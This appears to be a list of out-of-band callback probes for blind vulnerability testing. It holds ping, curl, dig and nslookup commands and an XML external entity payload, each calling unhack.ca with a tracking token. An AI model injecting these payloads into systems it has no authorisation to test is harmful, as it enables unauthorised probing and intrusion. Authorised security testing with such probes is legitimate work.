$ ping -c1 -p 00a9d3db9cb671abf7dbaf90b468ba00 unhack.ca
$ curl http://unhack.ca/p/a9d3db9cb671abf7dbaf90b468ba
$ dig a9d3db9cb671abf7dbaf90b468ba @unhack.ca
$ dig a9d3db9cb671abf7dbaf90b468ba.ns.unhack.ca
C:\> nslookup a9d3db9cb671abf7dbaf90b468ba unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/a9d3db9cb671abf7dbaf90b468ba">]> <foo>&xxe;</foo>